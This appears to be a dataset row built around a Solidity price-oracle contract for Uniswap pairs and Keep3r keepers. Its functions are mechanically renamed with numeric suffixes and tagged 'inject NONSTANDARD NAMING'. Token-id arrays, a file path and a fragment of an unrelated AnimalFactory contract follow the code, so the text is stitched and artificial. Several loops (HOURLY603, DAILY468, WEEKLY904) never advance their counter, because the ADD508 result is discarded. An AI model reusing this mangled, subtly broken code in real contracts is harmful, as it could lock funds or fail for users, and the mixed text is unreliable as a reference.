return uq112x112(uint224(x) << resolution65);
}
// encodes a uint144 as a UQ144x112
function ENCODE144474(uint144 x) internal pure returns (uq144x112 memory) { //inject NONSTANDARD NAMING
return uq144x112(uint256(x) << resolution65);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function DIV758(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function MUL709(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { //inject NONSTANDARD NAMING
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function FRACTION20(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << resolution65) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function DECODE642(uq112x112 memory self) internal pure returns (uint112) { //inject NONSTANDARD NAMING
return uint112(self._x >> resolution65);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function DECODE144805(uq144x112 memory self) internal pure returns (uint144) { //inject NONSTANDARD NAMING
return uint144(self._x >> resolution65);
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function CURRENTBLOCKTIMESTAMP616() internal view returns (uint32) { //inject NONSTANDARD NAMING
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function CURRENTCUMULATIVEPRICES565( //inject NONSTANDARD NAMING
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = CURRENTBLOCKTIMESTAMP616();
price0Cumulative = IUniswapV2Pair(pair).PRICE0CUMULATIVELAST512();
price1Cumulative = IUniswapV2Pair(pair).PRICE1CUMULATIVELAST431();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).GETRESERVES473();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.FRACTION20(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.FRACTION20(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function ADD508(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function ADD508(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function SUB277(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB277(a, b, "SafeMath: subtraction underflow");
}
function SUB277(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL709(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function MUL709(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function DIV758(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV758(a, b, "SafeMath: division by zero");
}
function DIV758(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD92(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD92(a, b, "SafeMath: modulo by zero");
}
function MOD92(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function SORTTOKENS379(address tokenA, address tokenB) internal pure returns (address token0, address token1) { //inject NONSTANDARD NAMING
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function PAIRFOR87(address factory, address tokenA, address tokenB) internal pure returns (address pair) { //inject NONSTANDARD NAMING
(address token0, address token1) = SORTTOKENS379(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function GETRESERVES473(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { //inject NONSTANDARD NAMING
(address token0,) = SORTTOKENS379(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(PAIRFOR87(factory, tokenA, tokenB)).GETRESERVES473();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function QUOTE2(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { //inject NONSTANDARD NAMING
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.MUL709(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function GETAMOUNTOUT789(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { //inject NONSTANDARD NAMING
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.MUL709(997);
uint numerator = amountInWithFee.MUL709(reserveOut);
uint denominator = reserveIn.MUL709(1000).ADD508(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function GETAMOUNTIN163(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { //inject NONSTANDARD NAMING
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.MUL709(amountOut).MUL709(1000);
uint denominator = reserveOut.SUB277(amountOut).MUL709(997);
amountIn = (numerator / denominator).ADD508(1);
}
// performs chained getAmountOut calculations on any number of pairs
function GETAMOUNTSOUT330(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { //inject NONSTANDARD NAMING
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = GETRESERVES473(factory, path[i], path[i + 1]);
amounts[i + 1] = GETAMOUNTOUT789(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function GETAMOUNTSIN267(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { //inject NONSTANDARD NAMING
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = GETRESERVES473(factory, path[i - 1], path[i]);
amounts[i - 1] = GETAMOUNTIN163(amounts[i], reserveIn, reserveOut);
}
}
}
interface WETH9 {
function WITHDRAW840(uint wad) external; //inject NONSTANDARD NAMING
}
interface IUniswapV2Router {
function SWAPEXACTTOKENSFORTOKENS109( //inject NONSTANDARD NAMING
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface IKeep3rV1 {
function ISMINKEEPER913(address keeper, uint minBond, uint earned, uint age) external returns (bool); //inject NONSTANDARD NAMING
function RECEIPT100(address credit, address keeper, uint amount) external; //inject NONSTANDARD NAMING
function UNBOND169(address bonding, uint amount) external; //inject NONSTANDARD NAMING
function WITHDRAW840(address bonding) external; //inject NONSTANDARD NAMING
function BONDS570(address keeper, address credit) external view returns (uint); //inject NONSTANDARD NAMING
function UNBONDINGS996(address keeper, address credit) external view returns (uint); //inject NONSTANDARD NAMING
function APPROVE763(address spender, uint amount) external returns (bool); //inject NONSTANDARD NAMING
function JOBS817(address job) external view returns (bool); //inject NONSTANDARD NAMING
function BALANCEOF412(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function WORKED219(address keeper) external; //inject NONSTANDARD NAMING
function KPRH771() external view returns (IKeep3rV1Helper); //inject NONSTANDARD NAMING
}
interface IKeep3rV1Helper {
function GETQUOTELIMIT880(uint gasUsed) external view returns (uint); //inject NONSTANDARD NAMING
}
// sliding oracle that uses observations collected to provide moving price averages in the past
contract YearnV2Oracle {
using FixedPoint for *;
using SafeMath for uint;
struct Observation {
uint timestamp;
uint price0Cumulative;
uint price1Cumulative;
}
uint public minKeep = 200e18;
modifier KEEPER983() { //inject NONSTANDARD NAMING
require(kp3r674.ISMINKEEPER913(msg.sender, minKeep, 0, 0), "::isKeeper: keeper is not registered");
_;
}
modifier UPKEEP664() { //inject NONSTANDARD NAMING
uint _gasUsed = gasleft();
require(kp3r674.ISMINKEEPER913(msg.sender, minKeep, 0, 0), "::isKeeper: keeper is not registered");
_;
uint _received = kp3r674.KPRH771().GETQUOTELIMIT880(_gasUsed.SUB277(gasleft()));
kp3r674.RECEIPT100(address(kp3r674), address(this), _received);
_received = _SWAP523(_received);
msg.sender.transfer(_received);
}
address public governance;
address public pendingGovernance;
function SETMINKEEP842(uint _keep) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "setGovernance: !gov");
minKeep = _keep;
}
function SETGOVERNANCE949(address _governance) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "setGovernance: !gov");
pendingGovernance = _governance;
}
function ACCEPTGOVERNANCE56() external { //inject NONSTANDARD NAMING
require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov");
governance = pendingGovernance;
}
IKeep3rV1 public constant kp3r674 = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44); //inject NONSTANDARD NAMING
WETH9 public constant weth411 = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); //inject NONSTANDARD NAMING
IUniswapV2Router public constant uni703 = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //inject NONSTANDARD NAMING
address public constant factory868 = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; //inject NONSTANDARD NAMING
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint public constant periodsize934 = 1800; //inject NONSTANDARD NAMING
address[] internal _pairs;
mapping(address => bool) internal _known;
function PAIRS458() external view returns (address[] memory) { //inject NONSTANDARD NAMING
return _pairs;
}
mapping(address => Observation[]) public observations;
function OBSERVATIONLENGTH959(address pair) external view returns (uint) { //inject NONSTANDARD NAMING
return observations[pair].length;
}
function PAIRFOR87(address tokenA, address tokenB) external pure returns (address) { //inject NONSTANDARD NAMING
return UniswapV2Library.PAIRFOR87(factory868, tokenA, tokenB);
}
function PAIRFORWETH375(address tokenA) external pure returns (address) { //inject NONSTANDARD NAMING
return UniswapV2Library.PAIRFOR87(factory868, tokenA, address(weth411));
}
constructor() public {
governance = msg.sender;
}
function UPDATEPAIR621(address pair) external KEEPER983 returns (bool) { //inject NONSTANDARD NAMING
return _UPDATE639(pair);
}
function UPDATE182(address tokenA, address tokenB) external KEEPER983 returns (bool) { //inject NONSTANDARD NAMING
address pair = UniswapV2Library.PAIRFOR87(factory868, tokenA, tokenB);
return _UPDATE639(pair);
}
function ADD508(address tokenA, address tokenB) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "UniswapV2Oracle::add: !gov");
address pair = UniswapV2Library.PAIRFOR87(factory868, tokenA, tokenB);
require(!_known[pair], "known");
_known[pair] = true;
_pairs.push(pair);
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.CURRENTCUMULATIVEPRICES565(pair);
observations[pair].push(Observation(block.timestamp, price0Cumulative, price1Cumulative));
}
function WORK476() public UPKEEP664 { //inject NONSTANDARD NAMING
bool worked = _UPDATEALL128();
require(worked, "UniswapV2Oracle: !work");
}
function WORKFORFREE492() public KEEPER983 { //inject NONSTANDARD NAMING
bool worked = _UPDATEALL128();
require(worked, "UniswapV2Oracle: !work");
}
function LASTOBSERVATION770(address pair) public view returns (Observation memory) { //inject NONSTANDARD NAMING
return observations[pair][observations[pair].length-1];
}
function _UPDATEALL128() internal returns (bool updated) { //inject NONSTANDARD NAMING
for (uint i = 0; i < _pairs.length; i++) {
if (_UPDATE639(_pairs[i])) {
updated = true;
}
}
}
function UPDATEFOR106(uint i, uint length) external KEEPER983 returns (bool updated) { //inject NONSTANDARD NAMING
for (; i < length; i++) {
if (_UPDATE639(_pairs[i])) {
updated = true;
}
}
}
function WORKABLE40(address pair) public view returns (bool) { //inject NONSTANDARD NAMING
return (block.timestamp - LASTOBSERVATION770(pair).timestamp) > periodsize934;
}
function WORKABLE40() external view returns (bool) { //inject NONSTANDARD NAMING
for (uint i = 0; i < _pairs.length; i++) {
if (WORKABLE40(_pairs[i])) {
return true;
}
}
return false;
}
function _UPDATE639(address pair) internal returns (bool) { //inject NONSTANDARD NAMING
// we only want to commit updates once per period (i.e. windowSize / granularity)
Observation memory _point = LASTOBSERVATION770(pair);
uint timeElapsed = block.timestamp - _point.timestamp;
if (timeElapsed > periodsize934) {
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.CURRENTCUMULATIVEPRICES565(pair);
observations[pair].push(Observation(block.timestamp, price0Cumulative, price1Cumulative));
return true;
}
return false;
}
function COMPUTEAMOUNTOUT732( //inject NONSTANDARD NAMING
uint priceCumulativeStart, uint priceCumulativeEnd,
uint timeElapsed, uint amountIn
) private pure returns (uint amountOut) {
// overflow is desired.
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(
uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed)
);
amountOut = priceAverage.MUL709(amountIn).DECODE144805();
}
function _VALID458(address pair, uint age) internal view returns (bool) { //inject NONSTANDARD NAMING
return (block.timestamp - LASTOBSERVATION770(pair).timestamp) <= age;
}
function CURRENT334(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut) { //inject NONSTANDARD NAMING
address pair = UniswapV2Library.PAIRFOR87(factory868, tokenIn, tokenOut);
require(_VALID458(pair, periodsize934.MUL709(2)), "UniswapV2Oracle::quote: stale prices");
(address token0,) = UniswapV2Library.SORTTOKENS379(tokenIn, tokenOut);
Observation memory _observation = LASTOBSERVATION770(pair);
(uint price0Cumulative, uint price1Cumulative,) = UniswapV2OracleLibrary.CURRENTCUMULATIVEPRICES565(pair);
if (block.timestamp == _observation.timestamp) {
_observation = observations[pair][observations[pair].length-2];
}
uint timeElapsed = block.timestamp - _observation.timestamp;
timeElapsed = timeElapsed == 0 ? 1 : timeElapsed;
if (token0 == tokenIn) {
return COMPUTEAMOUNTOUT732(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
return COMPUTEAMOUNTOUT732(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
}
function QUOTE2(address tokenIn, uint amountIn, address tokenOut, uint granularity) external view returns (uint amountOut) { //inject NONSTANDARD NAMING
address pair = UniswapV2Library.PAIRFOR87(factory868, tokenIn, tokenOut);
require(_VALID458(pair, periodsize934.MUL709(granularity)), "UniswapV2Oracle::quote: stale prices");
(address token0,) = UniswapV2Library.SORTTOKENS379(tokenIn, tokenOut);
uint priceAverageCumulative = 0;
uint length = observations[pair].length-1;
uint i = length.SUB277(granularity);
uint nextIndex = 0;
if (token0 == tokenIn) {
for (; i < length; i++) {
nextIndex = i+1;
priceAverageCumulative += COMPUTEAMOUNTOUT732(
observations[pair][i].price0Cumulative,
observations[pair][nextIndex].price0Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
}
} else {
for (; i < length; i++) {
nextIndex = i+1;
priceAverageCumulative += COMPUTEAMOUNTOUT732(
observations[pair][i].price1Cumulative,
observations[pair][nextIndex].price1Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
}
}
return priceAverageCumulative.DIV758(granularity);
}
function PRICES199(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint[] memory) { //inject NONSTANDARD NAMING
address pair = UniswapV2Library.PAIRFOR87(factory868, tokenIn, tokenOut);
(address token0,) = UniswapV2Library.SORTTOKENS379(tokenIn, tokenOut);
uint[] memory _prices = new uint[](points);
uint length = observations[pair].length-1;
uint i = length.SUB277(points);
uint nextIndex = 0;
uint index = 0;
if (token0 == tokenIn) {
for (; i < length; i++) {
nextIndex = i+1;
_prices[index] = COMPUTEAMOUNTOUT732(
observations[pair][i].price0Cumulative,
observations[pair][nextIndex].price0Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
} else {
for (; i < length; i++) {
nextIndex = i+1;
_prices[index] = COMPUTEAMOUNTOUT732(
observations[pair][i].price1Cumulative,
observations[pair][nextIndex].price1Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
}
return _prices;
}
function HOURLY603(address tokenIn, uint amountIn, address tokenOut, uint points) public view returns (uint[] memory) { //inject NONSTANDARD NAMING
address pair = UniswapV2Library.PAIRFOR87(factory868, tokenIn, tokenOut);
(address token0,) = UniswapV2Library.SORTTOKENS379(tokenIn, tokenOut);
uint[] memory _prices = new uint[](points);
uint _len = observations[pair].length-1;
uint length = _len.SUB277(2);
uint i = _len.SUB277(points.MUL709(2));
uint nextIndex = 0;
uint index = 0;
if (token0 == tokenIn) {
for (; i < length; i.ADD508(2)) {
nextIndex = i.ADD508(2);
_prices[index] = COMPUTEAMOUNTOUT732(
observations[pair][i].price0Cumulative,
observations[pair][nextIndex].price0Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
} else {
for (; i < length; i++) {
nextIndex = i.ADD508(2);
_prices[index] = COMPUTEAMOUNTOUT732(
observations[pair][i].price1Cumulative,
observations[pair][nextIndex].price1Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
}
return _prices;
}
function DAILY468(address tokenIn, uint amountIn, address tokenOut, uint points) public view returns (uint[] memory) { //inject NONSTANDARD NAMING
address pair = UniswapV2Library.PAIRFOR87(factory868, tokenIn, tokenOut);
(address token0,) = UniswapV2Library.SORTTOKENS379(tokenIn, tokenOut);
uint[] memory _prices = new uint[](points);
uint _len = observations[pair].length-1;
uint length = _len.SUB277(48);
uint i = _len.SUB277(points.MUL709(48));
uint nextIndex = 0;
uint index = 0;
if (token0 == tokenIn) {
for (; i < length; i.ADD508(48)) {
nextIndex = i.ADD508(48);
_prices[index] = COMPUTEAMOUNTOUT732(
observations[pair][i].price0Cumulative,
observations[pair][nextIndex].price0Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
} else {
for (; i < length; i++) {
nextIndex = i.ADD508(48);
_prices[index] = COMPUTEAMOUNTOUT732(
observations[pair][i].price1Cumulative,
observations[pair][nextIndex].price1Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
}
return _prices;
}
function WEEKLY904(address tokenIn, uint amountIn, address tokenOut, uint points) public view returns (uint[] memory) { //inject NONSTANDARD NAMING
address pair = UniswapV2Library.PAIRFOR87(factory868, tokenIn, tokenOut);
(address token0,) = UniswapV2Library.SORTTOKENS379(tokenIn, tokenOut);
uint[] memory _prices = new uint[](points);
uint _len = observations[pair].length-1;
uint length = _len.SUB277(336);
uint i = _len.SUB277(points.MUL709(336));
uint nextIndex = 0;
uint index = 0;
if (token0 == tokenIn) {
for (; i < length; i.ADD508(336)) {
nextIndex = i.ADD508(336);
_prices[index] = COMPUTEAMOUNTOUT732(
observations[pair][i].price0Cumulative,
observations[pair][nextIndex].price0Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
} else {
for (; i < length; i++) {
nextIndex = i.ADD508(336);
_prices[index] = COMPUTEAMOUNTOUT732(
observations[pair][i].price1Cumulative,
observations[pair][nextIndex].price1Cumulative,
observations[pair][nextIndex].timestamp - observations[pair][i].timestamp, amountIn);
index = index+1;
}
}
return _prices;
}
function IMPLIEDVOLATILITYHOURLY328(address tokenIn, uint amountIn, address tokenOut) external view returns (uint) { //inject NONSTANDARD NAMING
return STDDEV946(HOURLY603(tokenIn, amountIn, tokenOut, 1));
}
function IMPLIEDVOLATILITYDAILY500(address tokenIn, uint amountIn, address tokenOut) external view returns (uint) { //inject NONSTANDARD NAMING
return STDDEV946(DAILY468(tokenIn, amountIn, tokenOut, 1));
}
function IMPLIEDVOLATILITYWEEKLY55(address tokenIn, uint amountIn, address tokenOut) external view returns (uint) { //inject NONSTANDARD NAMING
return STDDEV946(WEEKLY904(tokenIn, amountIn, tokenOut, 1));
}
function SQRT123(uint256 x) public pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = (x + 1) / 2;
uint256 b = x;
while (c < b) {
b = c;
c = (x / c + c) / 2;
}
return b;
}
function STDDEV946(uint[] memory numbers) public pure returns (uint256 sd) { //inject NONSTANDARD NAMING
uint sum = 0;
for(uint i = 0; i < numbers.length; i++) {
sum += numbers[i];
}
uint256 mean = sum / numbers.length; // Integral value; float not supported in Solidity
sum = 0;
uint i;
for(i = 0; i < numbers.length; i++) {
sum += (numbers[i] - mean) ** 2;
}
sd = SQRT123(sum / (numbers.length - 1)); //Integral value; float not supported in Solidity
return sd;
}
function BLACKSCHOLESESTIMATE503( //inject NONSTANDARD NAMING
uint256 _vol,
uint256 _underlying,
uint256 _time
) public pure returns (uint256 estimate) {
estimate = 40 * _vol * _underlying * SQRT123(_time);
return estimate;
}
function RETBASEDBLACKSCHOLESESTIMATE765( //inject NONSTANDARD NAMING
uint256[] memory _numbers,
uint256 _underlying,
uint256 _time
) public pure {
uint _vol = STDDEV946(_numbers);
BLACKSCHOLESESTIMATE503(_vol, _underlying, _time);
}
receive() external payable {}
function _SWAP523(uint _amount) internal returns (uint) { //inject NONSTANDARD NAMING
kp3r674.APPROVE763(address(uni703), _amount);
address[] memory path = new address[](2);
path[0] = address(kp3r674);
path[1] = address(weth411);
uint[] memory amounts = uni703.SWAPEXACTTOKENSFORTOKENS109(_amount, uint256(0), path, address(this), now.ADD508(1800));
weth411.WITHDRAW840(amounts[1]);
return amounts[1];
}
}
|
inject NONSTANDARD NAMING
|
function APPROVE763(address spender, uint amount) external returns (bool);
| 12,917,699 |
[
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
14410,
3373,
3412,
27,
4449,
12,
2867,
17571,
264,
16,
2254,
3844,
13,
3903,
1135,
261,
6430,
1769,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/97/0x891E28dFc48Bc410C06194e667014757eF51Ab2c/sources/AnimalFactory.sol
|
The structure defining a single animal
|
{
struct AnimalProperties
{
uint id;
string name;
string desc;
bool upForSale;
uint priceForSale;
bool upForMating;
bool eggPhase;
uint priceForMating;
bool isBornByMating;
uint parentId1;
uint parentId2;
uint birthdate;
uint costumeId;
uint generationId;
}
using SafeMath for uint256;
uint public ownerPerThousandShareForBuying = 5;
uint public priceForSaleAdvertisement;
uint public priceForBuyingCostume;
uint[] eggPhaseAnimalIds;
uint[] animalIdsWithPendingCostumes;
ERC721Interface public token;
uint uniqueAnimalId=0;
mapping(uint=>AnimalProperties) animalAgainstId;
mapping(uint=>uint[]) childrenIdAgainstAnimalId;
uint[] upForMatingList;
uint[] upForSaleList;
address[] memberAddresses;
AnimalProperties animalObject;
uint public ownerPerThousandShareForMating = 5;
uint public freeAnimalsLimit = 0;
uint public totalAnimalsMax = 10000;
bool public isContractPaused;
bool public isMatingPaused;
uint public priceForMateAdvertisement;
uint256 public weiRaised;
uint256 public totalAnimalsCreated=0;
uint256 public weiPerAnimal = 1;
event AnimalsPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function AnimalFactory(address _walletOwner,address _tokenAddress) public
{
require(_walletOwner != 0x0);
owner = _walletOwner;
isContractPaused = false;
isMatingPaused = true;
priceForMateAdvertisement = 1 ether;
priceForSaleAdvertisement = 1 ether;
priceForBuyingCostume = 1 ether;
token = ERC721Interface(_tokenAddress);
}
function getAnimalById(uint aid) public constant returns
(string, string,uint,uint ,uint, uint,uint)
{
if(animalAgainstId[aid].eggPhase==true)
{
